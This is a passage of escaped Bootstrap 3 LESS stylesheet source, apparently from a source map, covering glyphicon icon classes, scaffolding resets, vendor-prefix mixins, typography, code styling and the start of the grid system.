}\n.glyphicon-ok-sign { &:before { content: \"\\e084\"; } }\n.glyphicon-question-sign { &:before { content: \"\\e085\"; } }\n.glyphicon-info-sign { &:before { content: \"\\e086\"; } }\n.glyphicon-screenshot { &:before { content: \"\\e087\"; } }\n.glyphicon-remove-circle { &:before { content: \"\\e088\"; } }\n.glyphicon-ok-circle { &:before { content: \"\\e089\"; } }\n.glyphicon-ban-circle { &:before { content: \"\\e090\"; } }\n.glyphicon-arrow-left { &:before { content: \"\\e091\"; } }\n.glyphicon-arrow-right { &:before { content: \"\\e092\"; } }\n.glyphicon-arrow-up { &:before { content: \"\\e093\"; } }\n.glyphicon-arrow-down { &:before { content: \"\\e094\"; } }\n.glyphicon-share-alt { &:before { content: \"\\e095\"; } }\n.glyphicon-resize-full { &:before { content: \"\\e096\"; } }\n.glyphicon-resize-small { &:before { content: \"\\e097\"; } }\n.glyphicon-exclamation-sign { &:before { content: \"\\e101\"; } }\n.glyphicon-gift { &:before { content: \"\\e102\"; } }\n.glyphicon-leaf { &:before { content: \"\\e103\"; } }\n.glyphicon-fire { &:before { content: \"\\e104\"; } }\n.glyphicon-eye-open { &:before { content: \"\\e105\"; } }\n.glyphicon-eye-close { &:before { content: \"\\e106\"; } }\n.glyphicon-warning-sign { &:before { content: \"\\e107\"; } }\n.glyphicon-plane { &:before { content: \"\\e108\"; } }\n.glyphicon-calendar { &:before { content: \"\\e109\"; } }\n.glyphicon-random { &:before { content: \"\\e110\"; } }\n.glyphicon-comment { &:before { content: \"\\e111\"; } }\n.glyphicon-magnet { &:before { content: \"\\e112\"; } }\n.glyphicon-chevron-up { &:before { content: \"\\e113\"; } }\n.glyphicon-chevron-down { &:before { content: \"\\e114\"; } }\n.glyphicon-retweet { &:before { content: \"\\e115\"; } }\n.glyphicon-shopping-cart { &:before { content: \"\\e116\"; } }\n.glyphicon-folder-close { &:before { content: \"\\e117\"; } }\n.glyphicon-folder-open { &:before { content: \"\\e118\"; } }\n.glyphicon-resize-vertical { &:before { content: \"\\e119\"; } }\n.glyphicon-resize-horizontal { &:before { content: \"\\e120\"; } }\n.glyphicon-hdd { &:before { content: \"\\e121\"; } }\n.glyphicon-bullhorn { &:before { content: \"\\e122\"; } }\n.glyphicon-bell { &:before { content: \"\\e123\"; } }\n.glyphicon-certificate { &:before { content: \"\\e124\"; } }\n.glyphicon-thumbs-up { &:before { content: \"\\e125\"; } }\n.glyphicon-thumbs-down { &:before { content: \"\\e126\"; } }\n.glyphicon-hand-right { &:before { content: \"\\e127\"; } }\n.glyphicon-hand-left { &:before { content: \"\\e128\"; } }\n.glyphicon-hand-up { &:before { content: \"\\e129\"; } }\n.glyphicon-hand-down { &:before { content: \"\\e130\"; } }\n.glyphicon-circle-arrow-right { &:before { content: \"\\e131\"; } }\n.glyphicon-circle-arrow-left { &:before { content: \"\\e132\"; } }\n.glyphicon-circle-arrow-up { &:before { content: \"\\e133\"; } }\n.glyphicon-circle-arrow-down { &:before { content: \"\\e134\"; } }\n.glyphicon-globe { &:before { content: \"\\e135\"; } }\n.glyphicon-wrench { &:before { content: \"\\e136\"; } }\n.glyphicon-tasks { &:before { content: \"\\e137\"; } }\n.glyphicon-filter { &:before { content: \"\\e138\"; } }\n.glyphicon-briefcase { &:before { content: \"\\e139\"; } }\n.glyphicon-fullscreen { &:before { content: \"\\e140\"; } }\n.glyphicon-dashboard { &:before { content: \"\\e141\"; } }\n.glyphicon-paperclip { &:before { content: \"\\e142\"; } }\n.glyphicon-heart-empty { &:before { content: \"\\e143\"; } }\n.glyphicon-link { &:before { content: \"\\e144\"; } }\n.glyphicon-phone { &:before { content: \"\\e145\"; } }\n.glyphicon-pushpin { &:before { content: \"\\e146\"; } }\n.glyphicon-usd { &:before { content: \"\\e148\"; } }\n.glyphicon-gbp { &:before { content: \"\\e149\"; } }\n.glyphicon-sort { &:before { content: \"\\e150\"; } }\n.glyphicon-sort-by-alphabet { &:before { content: \"\\e151\"; } }\n.glyphicon-sort-by-alphabet-alt { &:before { content: \"\\e152\"; } }\n.glyphicon-sort-by-order { &:before { content: \"\\e153\"; } }\n.glyphicon-sort-by-order-alt { &:before { content: \"\\e154\"; } }\n.glyphicon-sort-by-attributes { &:before { content: \"\\e155\"; } }\n.glyphicon-sort-by-attributes-alt { &:before { content: \"\\e156\"; } }\n.glyphicon-unchecked { &:before { content: \"\\e157\"; } }\n.glyphicon-expand { &:before { content: \"\\e158\"; } }\n.glyphicon-collapse-down { &:before { content: \"\\e159\"; } }\n.glyphicon-collapse-up { &:before { content: \"\\e160\"; } }\n.glyphicon-log-in { &:before { content: \"\\e161\"; } }\n.glyphicon-flash { &:before { content: \"\\e162\"; } }\n.glyphicon-log-out { &:before { content: \"\\e163\"; } }\n.glyphicon-new-window { &:before { content: \"\\e164\"; } }\n.glyphicon-record { &:before { content: \"\\e165\"; } }\n.glyphicon-save { &:before { content: \"\\e166\"; } }\n.glyphicon-open { &:before { content: \"\\e167\"; } }\n.glyphicon-saved { &:before { content: \"\\e168\"; } }\n.glyphicon-import { &:before { content: \"\\e169\"; } }\n.glyphicon-export { &:before { content: \"\\e170\"; } }\n.glyphicon-send { &:before { content: \"\\e171\"; } }\n.glyphicon-floppy-disk { &:before { content: \"\\e172\"; } }\n.glyphicon-floppy-saved { &:before { content: \"\\e173\"; } }\n.glyphicon-floppy-remove { &:before { content: \"\\e174\"; } }\n.glyphicon-floppy-save { &:before { content: \"\\e175\"; } }\n.glyphicon-floppy-open { &:before { content: \"\\e176\"; } }\n.glyphicon-credit-card { &:before { content: \"\\e177\"; } }\n.glyphicon-transfer { &:before { content: \"\\e178\"; } }\n.glyphicon-cutlery { &:before { content: \"\\e179\"; } }\n.glyphicon-header { &:before { content: \"\\e180\"; } }\n.glyphicon-compressed { &:before { content: \"\\e181\"; } }\n.glyphicon-earphone { &:before { content: \"\\e182\"; } }\n.glyphicon-phone-alt { &:before { content: \"\\e183\"; } }\n.glyphicon-tower { &:before { content: \"\\e184\"; } }\n.glyphicon-stats { &:before { content: \"\\e185\"; } }\n.glyphicon-sd-video { &:before { content: \"\\e186\"; } }\n.glyphicon-hd-video { &:before { content: \"\\e187\"; } }\n.glyphicon-subtitles { &:before { content: \"\\e188\"; } }\n.glyphicon-sound-stereo { &:before { content: \"\\e189\"; } }\n.glyphicon-sound-dolby { &:before { content: \"\\e190\"; } }\n.glyphicon-sound-5-1 { &:before { content: \"\\e191\"; } }\n.glyphicon-sound-6-1 { &:before { content: \"\\e192\"; } }\n.glyphicon-sound-7-1 { &:before { content: \"\\e193\"; } }\n.glyphicon-copyright-mark { &:before { content: \"\\e194\"; } }\n.glyphicon-registration-mark { &:before { content: \"\\e195\"; } }\n.glyphicon-cloud-download { &:before { content: \"\\e197\"; } }\n.glyphicon-cloud-upload { &:before { content: \"\\e198\"; } }\n.glyphicon-tree-conifer { &:before { content: \"\\e199\"; } }\n.glyphicon-tree-deciduous { &:before { content: \"\\e200\"; } }\n.glyphicon-cd { &:before { content: \"\\e201\"; } }\n.glyphicon-save-file { &:before { content: \"\\e202\"; } }\n.glyphicon-open-file { &:before { content: \"\\e203\"; } }\n.glyphicon-level-up { &:before { content: \"\\e204\"; } }\n.glyphicon-copy { &:before { content: \"\\e205\"; } }\n.glyphicon-paste { &:before { content: \"\\e206\"; } }\n// The following 2 Glyphicons are omitted for the time being because\n// they currently use Unicode codepoints that are outside the\n// Basic Multilingual Plane (BMP). Older buggy versions of WebKit can't handle\n// non-BMP codepoints in CSS string escapes, and thus can't display these two icons.\n// Notably, the bug affects some older versions of the Android Browser.\n// More info: https://github.com/twbs/bootstrap/issues/10106\n// .glyphicon-door { &:before { content: \"\\1f6aa\"; } }\n// .glyphicon-key { &:before { content: \"\\1f511\"; } }\n.glyphicon-alert { &:before { content: \"\\e209\"; } }\n.glyphicon-equalizer { &:before { content: \"\\e210\"; } }\n.glyphicon-king { &:before { content: \"\\e211\"; } }\n.glyphicon-queen { &:before { content: \"\\e212\"; } }\n.glyphicon-pawn { &:before { content: \"\\e213\"; } }\n.glyphicon-bishop { &:before { content: \"\\e214\"; } }\n.glyphicon-knight { &:before { content: \"\\e215\"; } }\n.glyphicon-baby-formula { &:before { content: \"\\e216\"; } }\n.glyphicon-tent { &:before { content: \"\\26fa\"; } }\n.glyphicon-blackboard { &:before { content: \"\\e218\"; } }\n.glyphicon-bed { &:before { content: \"\\e219\"; } }\n.glyphicon-apple { &:before { content: \"\\f8ff\"; } }\n.glyphicon-erase { &:before { content: \"\\e221\"; } }\n.glyphicon-hourglass { &:before { content: \"\\231b\"; } }\n.glyphicon-lamp { &:before { content: \"\\e223\"; } }\n.glyphicon-duplicate { &:before { content: \"\\e224\"; } }\n.glyphicon-piggy-bank { &:before { content: \"\\e225\"; } }\n.glyphicon-scissors { &:before { content: \"\\e226\"; } }\n.glyphicon-bitcoin { &:before { content: \"\\e227\"; } }\n.glyphicon-btc { &:before { content: \"\\e227\"; } }\n.glyphicon-xbt { &:before { content: \"\\e227\"; } }\n.glyphicon-yen { &:before { content: \"\\00a5\"; } }\n.glyphicon-jpy { &:before { content: \"\\00a5\"; } }\n.glyphicon-ruble { &:before { content: \"\\20bd\"; } }\n.glyphicon-rub { &:before { content: \"\\20bd\"; } }\n.glyphicon-scale { &:before { content: \"\\e230\"; } }\n.glyphicon-ice-lolly { &:before { content: \"\\e231\"; } }\n.glyphicon-ice-lolly-tasted { &:before { content: \"\\e232\"; } }\n.glyphicon-education { &:before { content: \"\\e233\"; } }\n.glyphicon-option-horizontal { &:before { content: \"\\e234\"; } }\n.glyphicon-option-vertical { &:before { content: \"\\e235\"; } }\n.glyphicon-menu-hamburger { &:before { content: \"\\e236\"; } }\n.glyphicon-modal-window { &:before { content: \"\\e237\"; } }\n.glyphicon-oil { &:before { content: \"\\e238\"; } }\n.glyphicon-grain { &:before { content: \"\\e239\"; } }\n.glyphicon-sunglasses { &:before { content: \"\\e240\"; } }\n.glyphicon-text-size { &:before { content: \"\\e241\"; } }\n.glyphicon-text-color { &:before { content: \"\\e242\"; } }\n.glyphicon-text-background { &:before { content: \"\\e243\"; } }\n.glyphicon-object-align-top { &:before { content: \"\\e244\"; } }\n.glyphicon-object-align-bottom { &:before { content: \"\\e245\"; } }\n.glyphicon-object-align-horizontal{ &:before { content: \"\\e246\"; } }\n.glyphicon-object-align-left { &:before { content: \"\\e247\"; } }\n.glyphicon-object-align-vertical { &:before { content: \"\\e248\"; } }\n.glyphicon-object-align-right { &:before { content: \"\\e249\"; } }\n.glyphicon-triangle-right { &:before { content: \"\\e250\"; } }\n.glyphicon-triangle-left { &:before { content: \"\\e251\"; } }\n.glyphicon-triangle-bottom { &:before { content: \"\\e252\"; } }\n.glyphicon-triangle-top { &:before { content: \"\\e253\"; } }\n.glyphicon-console { &:before { content: \"\\e254\"; } }\n.glyphicon-superscript { &:before { content: \"\\e255\"; } }\n.glyphicon-subscript { &:before { content: \"\\e256\"; } }\n.glyphicon-menu-left { &:before { content: \"\\e257\"; } }\n.glyphicon-menu-right { &:before { content: \"\\e258\"; } }\n.glyphicon-menu-down { &:before { content: \"\\e259\"; } }\n.glyphicon-menu-up { &:before { content: \"\\e260\"; } }\n","//\n// Scaffolding\n// --------------------------------------------------\n\n\n// Reset the box-sizing\n//\n// Heads up! This reset may cause conflicts with some third-party widgets.\n// For recommendations on resolving such conflicts, see\n// http://getbootstrap.com/getting-started/#third-box-sizing\n* {\n .box-sizing(border-box);\n}\n*:before,\n*:after {\n .box-sizing(border-box);\n}\n\n\n// Body reset\n\nhtml {\n font-size: 10px;\n -webkit-tap-highlight-color: rgba(0,0,0,0);\n}\n\nbody {\n font-family: @font-family-base;\n font-size: @font-size-base;\n line-height: @line-height-base;\n color: @text-color;\n background-color: @body-bg;\n}\n\n// Reset fonts for relevant elements\ninput,\nbutton,\nselect,\ntextarea {\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\n\n\n// Links\n\na {\n color: @link-color;\n text-decoration: none;\n\n &:hover,\n &:focus {\n color: @link-hover-color;\n text-decoration: @link-hover-decoration;\n }\n\n &:focus {\n .tab-focus();\n }\n}\n\n\n// Figures\n//\n// We reset this here because previously Normalize had no `figure` margins. This\n// ensures we don't break anyone's use of the element.\n\nfigure {\n margin: 0;\n}\n\n\n// Images\n\nimg {\n vertical-align: middle;\n}\n\n// Responsive images (ensure images don't scale beyond their parents)\n.img-responsive {\n .img-responsive();\n}\n\n// Rounded corners\n.img-rounded {\n border-radius: @border-radius-large;\n}\n\n// Image thumbnails\n//\n// Heads up! This is mixin-ed into thumbnails.less for `.thumbnail`.\n.img-thumbnail {\n padding: @thumbnail-padding;\n line-height: @line-height-base;\n background-color: @thumbnail-bg;\n border: 1px solid @thumbnail-border;\n border-radius: @thumbnail-border-radius;\n .transition(all .2s ease-in-out);\n\n // Keep them at most 100% wide\n .img-responsive(inline-block);\n}\n\n// Perfect circle\n.img-circle {\n border-radius: 50%; // set radius in percents\n}\n\n\n// Horizontal rules\n\nhr {\n margin-top: @line-height-computed;\n margin-bottom: @line-height-computed;\n border: 0;\n border-top: 1px solid @hr-border;\n}\n\n\n// Only display content to screen readers\n//\n// See: http://a11yproject.com/posts/how-to-hide-content\n\n.sr-only {\n position: absolute;\n width: 1px;\n height: 1px;\n margin: -1px;\n padding: 0;\n overflow: hidden;\n clip: rect(0,0,0,0);\n border: 0;\n}\n\n// Use in conjunction with .sr-only to only display content when it's focused.\n// Useful for \"Skip to main content\" links; see http://www.w3.org/TR/2013/NOTE-WCAG20-TECHS-20130905/G1\n// Credit: HTML5 Boilerplate\n\n.sr-only-focusable {\n &:active,\n &:focus {\n position: static;\n width: auto;\n height: auto;\n margin: 0;\n overflow: visible;\n clip: auto;\n }\n}\n\n\n// iOS \"clickable elements\" fix for role=\"button\"\n//\n// Fixes \"clickability\" issue (and more generally, the firing of events such as focus as well)\n// for traditionally non-focusable elements with role=\"button\"\n// see https://developer.mozilla.org/en-US/docs/Web/Events/click#Safari_Mobile\n\n[role=\"button\"] {\n cursor: pointer;\n}\n","// Vendor Prefixes\n//\n// All vendor mixins are deprecated as of v3.2.0 due to the introduction of\n// Autoprefixer in our Gruntfile. They have been removed in v4.\n\n// - Animations\n// - Backface visibility\n// - Box shadow\n// - Box sizing\n// - Content columns\n// - Hyphens\n// - Placeholder text\n// - Transformations\n// - Transitions\n// - User Select\n\n\n// Animations\n.animation(@animation) {\n -webkit-animation: @animation;\n -o-animation: @animation;\n animation: @animation;\n}\n.animation-name(@name) {\n -webkit-animation-name: @name;\n animation-name: @name;\n}\n.animation-duration(@duration) {\n -webkit-animation-duration: @duration;\n animation-duration: @duration;\n}\n.animation-timing-function(@timing-function) {\n -webkit-animation-timing-function: @timing-function;\n animation-timing-function: @timing-function;\n}\n.animation-delay(@delay) {\n -webkit-animation-delay: @delay;\n animation-delay: @delay;\n}\n.animation-iteration-count(@iteration-count) {\n -webkit-animation-iteration-count: @iteration-count;\n animation-iteration-count: @iteration-count;\n}\n.animation-direction(@direction) {\n -webkit-animation-direction: @direction;\n animation-direction: @direction;\n}\n.animation-fill-mode(@fill-mode) {\n -webkit-animation-fill-mode: @fill-mode;\n animation-fill-mode: @fill-mode;\n}\n\n// Backface visibility\n// Prevent browsers from flickering when using CSS 3D transforms.\n// Default value is `visible`, but can be changed to `hidden`\n\n.backface-visibility(@visibility) {\n -webkit-backface-visibility: @visibility;\n -moz-backface-visibility: @visibility;\n backface-visibility: @visibility;\n}\n\n// Drop shadows\n//\n// Note: Deprecated `.box-shadow()` as of v3.1.0 since all of Bootstrap's\n// supported browsers that have box shadow capabilities now support it.\n\n.box-shadow(@shadow) {\n -webkit-box-shadow: @shadow; // iOS <4.3 & Android <4.1\n box-shadow: @shadow;\n}\n\n// Box sizing\n.box-sizing(@boxmodel) {\n -webkit-box-sizing: @boxmodel;\n -moz-box-sizing: @boxmodel;\n box-sizing: @boxmodel;\n}\n\n// CSS3 Content Columns\n.content-columns(@column-count; @column-gap: @grid-gutter-width) {\n -webkit-column-count: @column-count;\n -moz-column-count: @column-count;\n column-count: @column-count;\n -webkit-column-gap: @column-gap;\n -moz-column-gap: @column-gap;\n column-gap: @column-gap;\n}\n\n// Optional hyphenation\n.hyphens(@mode: auto) {\n word-wrap: break-word;\n -webkit-hyphens: @mode;\n -moz-hyphens: @mode;\n -ms-hyphens: @mode; // IE10+\n -o-hyphens: @mode;\n hyphens: @mode;\n}\n\n// Placeholder text\n.placeholder(@color: @input-color-placeholder) {\n // Firefox\n &::-moz-placeholder {\n color: @color;\n opacity: 1; // Override Firefox's unusual default opacity; see https://github.com/twbs/bootstrap/pull/11526\n }\n &:-ms-input-placeholder { color: @color; } // Internet Explorer 10+\n &::-webkit-input-placeholder { color: @color; } // Safari and Chrome\n}\n\n// Transformations\n.scale(@ratio) {\n -webkit-transform: scale(@ratio);\n -ms-transform: scale(@ratio); // IE9 only\n -o-transform: scale(@ratio);\n transform: scale(@ratio);\n}\n.scale(@ratioX; @ratioY) {\n -webkit-transform: scale(@ratioX, @ratioY);\n -ms-transform: scale(@ratioX, @ratioY); // IE9 only\n -o-transform: scale(@ratioX, @ratioY);\n transform: scale(@ratioX, @ratioY);\n}\n.scaleX(@ratio) {\n -webkit-transform: scaleX(@ratio);\n -ms-transform: scaleX(@ratio); // IE9 only\n -o-transform: scaleX(@ratio);\n transform: scaleX(@ratio);\n}\n.scaleY(@ratio) {\n -webkit-transform: scaleY(@ratio);\n -ms-transform: scaleY(@ratio); // IE9 only\n -o-transform: scaleY(@ratio);\n transform: scaleY(@ratio);\n}\n.skew(@x; @y) {\n -webkit-transform: skewX(@x) skewY(@y);\n -ms-transform: skewX(@x) skewY(@y); // See https://github.com/twbs/bootstrap/issues/4885; IE9+\n -o-transform: skewX(@x) skewY(@y);\n transform: skewX(@x) skewY(@y);\n}\n.translate(@x; @y) {\n -webkit-transform: translate(@x, @y);\n -ms-transform: translate(@x, @y); // IE9 only\n -o-transform: translate(@x, @y);\n transform: translate(@x, @y);\n}\n.translate3d(@x; @y; @z) {\n -webkit-transform: translate3d(@x, @y, @z);\n transform: translate3d(@x, @y, @z);\n}\n.rotate(@degrees) {\n -webkit-transform: rotate(@degrees);\n -ms-transform: rotate(@degrees); // IE9 only\n -o-transform: rotate(@degrees);\n transform: rotate(@degrees);\n}\n.rotateX(@degrees) {\n -webkit-transform: rotateX(@degrees);\n -ms-transform: rotateX(@degrees); // IE9 only\n -o-transform: rotateX(@degrees);\n transform: rotateX(@degrees);\n}\n.rotateY(@degrees) {\n -webkit-transform: rotateY(@degrees);\n -ms-transform: rotateY(@degrees); // IE9 only\n -o-transform: rotateY(@degrees);\n transform: rotateY(@degrees);\n}\n.perspective(@perspective) {\n -webkit-perspective: @perspective;\n -moz-perspective: @perspective;\n perspective: @perspective;\n}\n.perspective-origin(@perspective) {\n -webkit-perspective-origin: @perspective;\n -moz-perspective-origin: @perspective;\n perspective-origin: @perspective;\n}\n.transform-origin(@origin) {\n -webkit-transform-origin: @origin;\n -moz-transform-origin: @origin;\n -ms-transform-origin: @origin; // IE9 only\n transform-origin: @origin;\n}\n\n\n// Transitions\n\n.transition(@transition) {\n -webkit-transition: @transition;\n -o-transition: @transition;\n transition: @transition;\n}\n.transition-property(@transition-property) {\n -webkit-transition-property: @transition-property;\n transition-property: @transition-property;\n}\n.transition-delay(@transition-delay) {\n -webkit-transition-delay: @transition-delay;\n transition-delay: @transition-delay;\n}\n.transition-duration(@transition-duration) {\n -webkit-transition-duration: @transition-duration;\n transition-duration: @transition-duration;\n}\n.transition-timing-function(@timing-function) {\n -webkit-transition-timing-function: @timing-function;\n transition-timing-function: @timing-function;\n}\n.transition-transform(@transition) {\n -webkit-transition: -webkit-transform @transition;\n -moz-transition: -moz-transform @transition;\n -o-transition: -o-transform @transition;\n transition: transform @transition;\n}\n\n\n// User select\n// For selecting text on the page\n\n.user-select(@select) {\n -webkit-user-select: @select;\n -moz-user-select: @select;\n -ms-user-select: @select; // IE10+\n user-select: @select;\n}\n","// WebKit-style focus\n\n.tab-focus() {\n // WebKit-specific. Other browsers will keep their default outline style.\n // (Initially tried to also force default via `outline: initial`,\n // but that seems to erroneously remove the outline in Firefox altogether.)\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\n","// Image Mixins\n// - Responsive image\n// - Retina image\n\n\n// Responsive image\n//\n// Keep images from scaling beyond the width of their parents.\n.img-responsive(@display: block) {\n display: @display;\n max-width: 100%; // Part 1: Set a maximum relative to the parent\n height: auto; // Part 2: Scale the height according to the width, otherwise you get stretching\n}\n\n\n// Retina image\n//\n// Short retina mixin for setting background-image and -size. Note that the\n// spelling of `min--moz-device-pixel-ratio` is intentional.\n.img-retina(@file-1x; @file-2x; @width-1x; @height-1x) {\n background-image: url(\"@{file-1x}\");\n\n @media\n only screen and (-webkit-min-device-pixel-ratio: 2),\n only screen and ( min--moz-device-pixel-ratio: 2),\n only screen and ( -o-min-device-pixel-ratio: 2/1),\n only screen and ( min-device-pixel-ratio: 2),\n only screen and ( min-resolution: 192dpi),\n only screen and ( min-resolution: 2dppx) {\n background-image: url(\"@{file-2x}\");\n background-size: @width-1x @height-1x;\n }\n}\n","//\n// Typography\n// --------------------------------------------------\n\n\n// Headings\n// -------------------------\n\nh1, h2, h3, h4, h5, h6,\n.h1, .h2, .h3, .h4, .h5, .h6 {\n font-family: @headings-font-family;\n font-weight: @headings-font-weight;\n line-height: @headings-line-height;\n color: @headings-color;\n\n small,\n .small {\n font-weight: normal;\n line-height: 1;\n color: @headings-small-color;\n }\n}\n\nh1, .h1,\nh2, .h2,\nh3, .h3 {\n margin-top: @line-height-computed;\n margin-bottom: (@line-height-computed / 2);\n\n small,\n .small {\n font-size: 65%;\n }\n}\nh4, .h4,\nh5, .h5,\nh6, .h6 {\n margin-top: (@line-height-computed / 2);\n margin-bottom: (@line-height-computed / 2);\n\n small,\n .small {\n font-size: 75%;\n }\n}\n\nh1, .h1 { font-size: @font-size-h1; }\nh2, .h2 { font-size: @font-size-h2; }\nh3, .h3 { font-size: @font-size-h3; }\nh4, .h4 { font-size: @font-size-h4; }\nh5, .h5 { font-size: @font-size-h5; }\nh6, .h6 { font-size: @font-size-h6; }\n\n\n// Body text\n// -------------------------\n\np {\n margin: 0 0 (@line-height-computed / 2);\n}\n\n.lead {\n margin-bottom: @line-height-computed;\n font-size: floor((@font-size-base * 1.15));\n font-weight: 300;\n line-height: 1.4;\n\n @media (min-width: @screen-sm-min) {\n font-size: (@font-size-base * 1.5);\n }\n}\n\n\n// Emphasis & misc\n// -------------------------\n\n// Ex: (12px small font / 14px base font) * 100% = about 85%\nsmall,\n.small {\n font-size: floor((100% * @font-size-small / @font-size-base));\n}\n\nmark,\n.mark {\n background-color: @state-warning-bg;\n padding: .2em;\n}\n\n// Alignment\n.text-left { text-align: left; }\n.text-right { text-align: right; }\n.text-center { text-align: center; }\n.text-justify { text-align: justify; }\n.text-nowrap { white-space: nowrap; }\n\n// Transformation\n.text-lowercase { text-transform: lowercase; }\n.text-uppercase { text-transform: uppercase; }\n.text-capitalize { text-transform: capitalize; }\n\n// Contextual colors\n.text-muted {\n color: @text-muted;\n}\n.text-primary {\n .text-emphasis-variant(@brand-primary);\n}\n.text-success {\n .text-emphasis-variant(@state-success-text);\n}\n.text-info {\n .text-emphasis-variant(@state-info-text);\n}\n.text-warning {\n .text-emphasis-variant(@state-warning-text);\n}\n.text-danger {\n .text-emphasis-variant(@state-danger-text);\n}\n\n// Contextual backgrounds\n// For now we'll leave these alongside the text classes until v4 when we can\n// safely shift things around (per SemVer rules).\n.bg-primary {\n // Given the contrast here, this is the only class to have its color inverted\n // automatically.\n color: #fff;\n .bg-variant(@brand-primary);\n}\n.bg-success {\n .bg-variant(@state-success-bg);\n}\n.bg-info {\n .bg-variant(@state-info-bg);\n}\n.bg-warning {\n .bg-variant(@state-warning-bg);\n}\n.bg-danger {\n .bg-variant(@state-danger-bg);\n}\n\n\n// Page header\n// -------------------------\n\n.page-header {\n padding-bottom: ((@line-height-computed / 2) - 1);\n margin: (@line-height-computed * 2) 0 @line-height-computed;\n border-bottom: 1px solid @page-header-border-color;\n}\n\n\n// Lists\n// -------------------------\n\n// Unordered and Ordered lists\nul,\nol {\n margin-top: 0;\n margin-bottom: (@line-height-computed / 2);\n ul,\n ol {\n margin-bottom: 0;\n }\n}\n\n// List options\n\n// Unstyled keeps list items block level, just removes default browser padding and list-style\n.list-unstyled {\n padding-left: 0;\n list-style: none;\n}\n\n// Inline turns list items into inline-block\n.list-inline {\n .list-unstyled();\n margin-left: -5px;\n\n > li {\n display: inline-block;\n padding-left: 5px;\n padding-right: 5px;\n }\n}\n\n// Description Lists\ndl {\n margin-top: 0; // Remove browser default\n margin-bottom: @line-height-computed;\n}\ndt,\ndd {\n line-height: @line-height-base;\n}\ndt {\n font-weight: bold;\n}\ndd {\n margin-left: 0; // Undo browser default\n}\n\n// Horizontal description lists\n//\n// Defaults to being stacked without any of the below styles applied, until the\n// grid breakpoint is reached (default of ~768px).\n\n.dl-horizontal {\n dd {\n &:extend(.clearfix all); // Clear the floated `dt` if an empty `dd` is present\n }\n\n @media (min-width: @dl-horizontal-breakpoint) {\n dt {\n float: left;\n width: (@dl-horizontal-offset - 20);\n clear: left;\n text-align: right;\n .text-overflow();\n }\n dd {\n margin-left: @dl-horizontal-offset;\n }\n }\n}\n\n\n// Misc\n// -------------------------\n\n// Abbreviations and acronyms\nabbr[title],\n// Add data-* attribute to help out our tooltip plugin, per https://github.com/twbs/bootstrap/issues/5257\nabbr[data-original-title] {\n cursor: help;\n border-bottom: 1px dotted @abbr-border-color;\n}\n.initialism {\n font-size: 90%;\n .text-uppercase();\n}\n\n// Blockquotes\nblockquote {\n padding: (@line-height-computed / 2) @line-height-computed;\n margin: 0 0 @line-height-computed;\n font-size: @blockquote-font-size;\n border-left: 5px solid @blockquote-border-color;\n\n p,\n ul,\n ol {\n &:last-child {\n margin-bottom: 0;\n }\n }\n\n // Note: Deprecated small and .small as of v3.1.0\n // Context: https://github.com/twbs/bootstrap/issues/11660\n footer,\n small,\n .small {\n display: block;\n font-size: 80%; // back to default font-size\n line-height: @line-height-base;\n color: @blockquote-small-color;\n\n &:before {\n content: '\\2014 \\00A0'; // em dash, nbsp\n }\n }\n}\n\n// Opposite alignment of blockquote\n//\n// Heads up: `blockquote.pull-right` has been deprecated as of v3.1.0.\n.blockquote-reverse,\nblockquote.pull-right {\n padding-right: 15px;\n padding-left: 0;\n border-right: 5px solid @blockquote-border-color;\n border-left: 0;\n text-align: right;\n\n // Account for citation\n footer,\n small,\n .small {\n &:before { content: ''; }\n &:after {\n content: '\\00A0 \\2014'; // nbsp, em dash\n }\n }\n}\n\n// Addresses\naddress {\n margin-bottom: @line-height-computed;\n font-style: normal;\n line-height: @line-height-base;\n}\n","// Typography\n\n.text-emphasis-variant(@color) {\n color: @color;\n a&:hover,\n a&:focus {\n color: darken(@color, 10%);\n }\n}\n","// Contextual backgrounds\n\n.bg-variant(@color) {\n background-color: @color;\n a&:hover,\n a&:focus {\n background-color: darken(@color, 10%);\n }\n}\n","// Text overflow\n// Requires inline-block or block for proper styling\n\n.text-overflow() {\n overflow: hidden;\n text-overflow: ellipsis;\n white-space: nowrap;\n}\n","//\n// Code (inline and block)\n// --------------------------------------------------\n\n\n// Inline and block code styles\ncode,\nkbd,\npre,\nsamp {\n font-family: @font-family-monospace;\n}\n\n// Inline code\ncode {\n padding: 2px 4px;\n font-size: 90%;\n color: @code-color;\n background-color: @code-bg;\n border-radius: @border-radius-base;\n}\n\n// User input typically entered via keyboard\nkbd {\n padding: 2px 4px;\n font-size: 90%;\n color: @kbd-color;\n background-color: @kbd-bg;\n border-radius: @border-radius-small;\n box-shadow: inset 0 -1px 0 rgba(0,0,0,.25);\n\n kbd {\n padding: 0;\n font-size: 100%;\n font-weight: bold;\n box-shadow: none;\n }\n}\n\n// Blocks of code\npre {\n display: block;\n padding: ((@line-height-computed - 1) / 2);\n margin: 0 0 (@line-height-computed / 2);\n font-size: (@font-size-base - 1); // 14px to 13px\n line-height: @line-height-base;\n word-break: break-all;\n word-wrap: break-word;\n color: @pre-color;\n background-color: @pre-bg;\n border: 1px solid @pre-border-color;\n border-radius: @border-radius-base;\n\n // Account for some code outputs that place code tags in pre tags\n code {\n padding: 0;\n font-size: inherit;\n color: inherit;\n white-space: pre-wrap;\n background-color: transparent;\n border-radius: 0;\n }\n}\n\n// Enable scrollable blocks of code\n.pre-scrollable {\n max-height: @pre-scrollable-max-height;\n overflow-y: scroll;\n}\n","//\n// Grid system\n// --------------------------------------------------\n\n\n// Container widths\n//\n// Set the container width, and override it for fixed navbars in media queries.\n\n.container {\n .container-fixed();\n\n @media (min-width: @screen-sm-min) {\n width: @container-sm;\n }\n @media (min-width: @screen-md-min) {\n width: @container-md;\n }\n @media (min-width: @screen-lg-min) {\n width: @container-lg;\n }\n}\n\n\n// Fluid container\n//\n// Utilizes the mixin meant for fixed width containers, but without any defined\n// width for fluid, full width layouts.\n\n.container-fluid {\n .container-fixed();\n}\n\n\n// Row\n//\n// Rows contain and clear the floats of your columns.\n\n.row {\n .make-row();\n}\n\n\n// Columns\n//\n// Common styles for small and large grid columns\n\n.make-grid-columns();\n\n\n// Extra small grid\n//\n// Columns, offsets, pushes, and pulls for extra small devices like\n// smartphones.\n\n.make-grid(xs);\n\n\n// Small grid\n//\n// Columns, offsets, pushes, and pulls for the small device range, from phones\n// to tablets.\n\n@media (min-width: @screen-sm-min) {\n .make-grid(sm);\n}\n\n\n// Medium grid\n//\n// Columns, offsets, pushes, and pulls for the desktop device range.\n\n@media (min-width: @screen-md-min) {\n 